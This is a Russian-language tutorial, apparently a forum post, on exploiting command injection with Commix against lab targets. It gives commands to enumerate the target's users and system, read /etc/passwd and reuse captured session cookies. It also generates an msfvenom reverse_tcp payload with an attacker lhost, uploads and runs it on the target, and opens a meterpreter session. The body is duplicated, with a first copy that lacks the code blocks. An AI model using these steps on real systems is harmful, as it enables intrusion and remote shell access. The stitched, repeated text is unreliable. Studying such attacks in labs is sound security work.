В этой статье мы узнаем, как использовать один из инструментов Kali Linux - Commix (Command Injection Exploiter ) с нуля.
На практике используя все основные команды, постепенно переходя к продвинутым.
Введение в Commix
Инструмент Commix предназначен для использования уязвимости внедрения команд в веб-приложениях. Этот инструмент написан на python, что означает, что он совместим с Linux, Windows и Mac. Он поставляется предварительно установленным в Kali Linux, BlackArch и Parrot OS. Этот инструмент позволяет легко находить уязвимости, связанные с внедрением команд, а затем использовать их. Commix удобен для веб-разработчиков, тестеров на проникновение и исследователей безопасности. Он предоставляет пользователю множество опций, таких как возможность указать параметры, которые необходимо подключить к хосту, перечисление жертвы, доступ к файлам и их изменение, а также автономный режим. Словом, это довольно полезный актив для использования уязвимости внедрения команд.
Введение в командную инъекцию
Внедрение команд также известно как внедрение в оболочку или внедрение ОС. Внедрение команд является одной из 10 уязвимостей OWASP. Это атака, при которой произвольные команды хост-ОС выполняются через уязвимое приложение. Такая атака возможна, когда веб-приложение отправляет небезопасные данные пользователя в системную оболочку. Эти пользовательские данные могут быть в любой форме, такой как файлы cookie, формы, заголовки HTTP и так далее. В основном внедрение команд уязвимости становится возможным из-за недостаточной проверки ввода. В этой атаке функциональность приложения по умолчанию расширяется злоумышленником, который затем выполняет системные команды с внедрением вредоносного кода.
Внедрение команд SQL является наиболее популярной формой внедрения команд. Посредством этой атаки злоумышленник добавляет код SQL в поле ввода, чтобы получить доступ в систему. Веб-приложения являются обязательными для таких атак, поскольку именно через них мы взаимодействуем с базовой ОС.
Работа Commix
Commix имеет различные параметры команд, которые вы можете использовать для поиска и подключения к целевому приложению. Такие как, строки данных, HTTP-заголовки, файлы cookie и параметры аутентификации. Commix поддерживает два метода ввода команд: метод на основе результатов и метод слепого ввода команд.
1) Внедрение команды на основе результатов
Этот тип атаки с помощью инъекций позволит вам определить результат введенной команды через результат веб-приложения. Далее он делится на две категории:
Классическое внедрение на основе результатов: это наиболее часто используемый тип внедрения команд и самый простой из всех. При этом используется несколько общих операторов, которые либо связывают подлинные команды с введенными, либо исключают исходные команды в целиком и продолжают выполнять только введенные. Это далее делится еще на три категории: Shellshock, ICMP-эксфильтрация, DNS-эксфильтрация.
Техника на основе Eval: эта техника используется, когда целевое веб-приложение уязвимо для функции eval (). Эта функция используется для выполнения специфического кода, который определен в указанной функции во время выполнения.
2) Инъекция слепой команды
Способ, которым данные извлекаются после выполнения введенной команды оболочки, является основным отличием работы обоих типов. В том случае, если веб-приложение не возвращает злоумышленнику никакого результата - используется слепая команда впрыска.
Есть еще два типа слепого командного внедрения:
а) Техника, основанная на времени:
Использование этой методики задержит время выполнения введенной команды. Проверяя, сколько времени потребовалось приложению для восстановления, злоумышленник сможет определить, была ли команда выполнена успешно или нет.
б) Техника на основе файлов:
Пригодится если вы не можете определить результат по реакции веб-приложения, она позволит написать набор команд, которые должны быть введены в файл, доступный для взлома. Работа в этой технике аналогична технике на основе результатов.
Что нам понадобится :
Теперь давайте попробуем получить сеанс Commix, используя URL. Для этого возьмем URL-адрес, уязвимый для внедрения команды, здесь мы будем использовать URL-адрес pentesterlab, как показано на рисунке ниже:
Используем следующую команду для сеанса Commix через URL:
С помощью этой команды мы получим Commix (os shell), как показано на рисунке ниже:
Далее воспользуемся командой batch, чтобы сеанс commix был по умолчанию:
Теперь, как вы можете видеть на изображении выше, мы напрямую вошли в сессию по умолчанию.
Для того, чтобы получить всю основную информацию о цели, используйте следующую команду:
Как показано на рисунке выше, мы получили всю основную информацию о цели.
Далее с помощью следующей команды мы сможем узнать текущего пользователя цели:
В результате мы видим, что текущим пользователем является www-data.
Далее мы также можем узнать имя хоста с помощью следующей команды:
Следовательно, хост - Debian.
Теперь мы можем определить, является ли наша цель привелегированной или нет. Итак, для этого у нас есть следующая команда:
Таким образом, мы обнаружили, что наша цель не является привелегированной.
Используем следующую команду, чтобы получить информацию о системе:
После выполнения вышеуказанной команды у нас теперь имеется системная информация.
Чтобы получить информацию о пользователях, используем следующую команду:
Таким образом, у нас теперь есть список всех пользователей.
Следующая команда используется, чтобы узнать об администраторе системы:
И снова вы можете видеть, что целью является не админ.
Теперь, чтобы прочитать содержимое нужного файла, мы можем использовать следующую команду:
Результаты вышеупомянутой команды показаны на изображении выше.
Далее наши исследования выполняются на DWVA (среда Windows).
Захват cookie с использованием BurpSuite.
Теперь мы используем содержимое файла cookie для проверки нашего сеанса с использованием параметров «—cookie» и «-data».
Эти два параметра используются для отправки строки данных с целью использования метода POST и одновременной проверки нашего сеанса.
Для этого используйте следующую команду:
Далее мы создадим вредоносный файл, используя msfvenom.
Вводим следующую команду, чтобы создать программу:
Теперь мы будем использовать полученный файл и загрузим его в нашу цель, используя следующую команду:
Вредоносная программа загружена и запущена на целевом компьютере.
Далее будем использовать multi / handler
Применяем следующий набор команд:
Таким образом, мы получили сеанс meterpreter.
Вот мы и попробовали на практике использовать автоматизированный инструмент commix в своих интересах.
На практике используя все основные команды, постепенно переходя к продвинутым.
Введение в Commix
Инструмент Commix предназначен для использования уязвимости внедрения команд в веб-приложениях. Этот инструмент написан на python, что означает, что он совместим с Linux, Windows и Mac. Он поставляется предварительно установленным в Kali Linux, BlackArch и Parrot OS. Этот инструмент позволяет легко находить уязвимости, связанные с внедрением команд, а затем использовать их. Commix удобен для веб-разработчиков, тестеров на проникновение и исследователей безопасности. Он предоставляет пользователю множество опций, таких как возможность указать параметры, которые необходимо подключить к хосту, перечисление жертвы, доступ к файлам и их изменение, а также автономный режим. Словом, это довольно полезный актив для использования уязвимости внедрения команд.
Введение в командную инъекцию
Внедрение команд также известно как внедрение в оболочку или внедрение ОС. Внедрение команд является одной из 10 уязвимостей OWASP. Это атака, при которой произвольные команды хост-ОС выполняются через уязвимое приложение. Такая атака возможна, когда веб-приложение отправляет небезопасные данные пользователя в системную оболочку. Эти пользовательские данные могут быть в любой форме, такой как файлы cookie, формы, заголовки HTTP и так далее. В основном внедрение команд уязвимости становится возможным из-за недостаточной проверки ввода. В этой атаке функциональность приложения по умолчанию расширяется злоумышленником, который затем выполняет системные команды с внедрением вредоносного кода.
Внедрение команд SQL является наиболее популярной формой внедрения команд. Посредством этой атаки злоумышленник добавляет код SQL в поле ввода, чтобы получить доступ в систему. Веб-приложения являются обязательными для таких атак, поскольку именно через них мы взаимодействуем с базовой ОС.
Работа Commix
Commix имеет различные параметры команд, которые вы можете использовать для поиска и подключения к целевому приложению. Такие как, строки данных, HTTP-заголовки, файлы cookie и параметры аутентификации. Commix поддерживает два метода ввода команд: метод на основе результатов и метод слепого ввода команд.
1) Внедрение команды на основе результатов
Этот тип атаки с помощью инъекций позволит вам определить результат введенной команды через результат веб-приложения. Далее он делится на две категории:
Классическое внедрение на основе результатов: это наиболее часто используемый тип внедрения команд и самый простой из всех. При этом используется несколько общих операторов, которые либо связывают подлинные команды с введенными, либо исключают исходные команды в целиком и продолжают выполнять только введенные. Это далее делится еще на три категории: Shellshock, ICMP-эксфильтрация, DNS-эксфильтрация.
Техника на основе Eval: эта техника используется, когда целевое веб-приложение уязвимо для функции eval (). Эта функция используется для выполнения специфического кода, который определен в указанной функции во время выполнения.
2) Инъекция слепой команды
Способ, которым данные извлекаются после выполнения введенной команды оболочки, является основным отличием работы обоих типов. В том случае, если веб-приложение не возвращает злоумышленнику никакого результата - используется слепая команда впрыска.
Есть еще два типа слепого командного внедрения:
а) Техника, основанная на времени:
Использование этой методики задержит время выполнения введенной команды. Проверяя, сколько времени потребовалось приложению для восстановления, злоумышленник сможет определить, была ли команда выполнена успешно или нет.
б) Техника на основе файлов:
Пригодится если вы не можете определить результат по реакции веб-приложения, она позволит написать набор команд, которые должны быть введены в файл, доступный для взлома. Работа в этой технике аналогична технике на основе результатов.
Что нам понадобится :
- DVWA
- PentestLab
- Kali Linux
- Commix Tool
Код:
commix –h
Теперь давайте попробуем получить сеанс Commix, используя URL. Для этого возьмем URL-адрес, уязвимый для внедрения команды, здесь мы будем использовать URL-адрес pentesterlab, как показано на рисунке ниже:
Используем следующую команду для сеанса Commix через URL:
Код:
commix -u <URL>
Далее воспользуемся командой batch, чтобы сеанс commix был по умолчанию:
Код:
commix -u <URL> --batch
Теперь, как вы можете видеть на изображении выше, мы напрямую вошли в сессию по умолчанию.
Для того, чтобы получить всю основную информацию о цели, используйте следующую команду:
Код:
commix -u <URL> --all
Как показано на рисунке выше, мы получили всю основную информацию о цели.
Далее с помощью следующей команды мы сможем узнать текущего пользователя цели:
Код:
commix –u <URL> --current-user
В результате мы видим, что текущим пользователем является www-data.
Далее мы также можем узнать имя хоста с помощью следующей команды:
Код:
commix –u <URL> --hostname
Следовательно, хост - Debian.
Теперь мы можем определить, является ли наша цель привелегированной или нет. Итак, для этого у нас есть следующая команда:
Код:
commix –u <URL> --is-root
Таким образом, мы обнаружили, что наша цель не является привелегированной.
Используем следующую команду, чтобы получить информацию о системе:
Код:
commix –u <URL> --sys-info
После выполнения вышеуказанной команды у нас теперь имеется системная информация.
Чтобы получить информацию о пользователях, используем следующую команду:
Код:
commix –u <URL> --user
Таким образом, у нас теперь есть список всех пользователей.
Следующая команда используется, чтобы узнать об администраторе системы:
Код:
commix –u <URL> --is-admin
И снова вы можете видеть, что целью является не админ.
Теперь, чтобы прочитать содержимое нужного файла, мы можем использовать следующую команду:
Код:
commix –u <URL> --file-read=/etc/passwd
Результаты вышеупомянутой команды показаны на изображении выше.
Далее наши исследования выполняются на DWVA (среда Windows).
Захват cookie с использованием BurpSuite.
Теперь мы используем содержимое файла cookie для проверки нашего сеанса с использованием параметров «—cookie» и «-data».
Эти два параметра используются для отправки строки данных с целью использования метода POST и одновременной проверки нашего сеанса.
Для этого используйте следующую команду:
Код:
commix –u <URL> --cookie="security=low; PHPSESSID=2r9avccki91i3uq2eqlud8sg08" --data="ip=127.0.0.1&Submit=Submit"
Далее мы создадим вредоносный файл, используя msfvenom.
Вводим следующую команду, чтобы создать программу:
Код:
msfvenom –p python/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1234 –f raw > venom.py
Теперь мы будем использовать полученный файл и загрузим его в нашу цель, используя следующую команду:
Код:
commix -u <URL> --cookie="PHPSESSID=4029asg19ejeuibfq30d7lc1o8; security=low" --data="ip=127.0.0.1&Submit=Submit" --file-write="/root/venom.py" --file-dest="/tmp/venom.py" --os-cmd="python /tmp/venom.py"
Вредоносная программа загружена и запущена на целевом компьютере.
Далее будем использовать multi / handler
Применяем следующий набор команд:
Код:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost eth0
set lport 1234
run
Таким образом, мы получили сеанс meterpreter.
Вот мы и попробовали на практике использовать автоматизированный инструмент commix в своих интересах.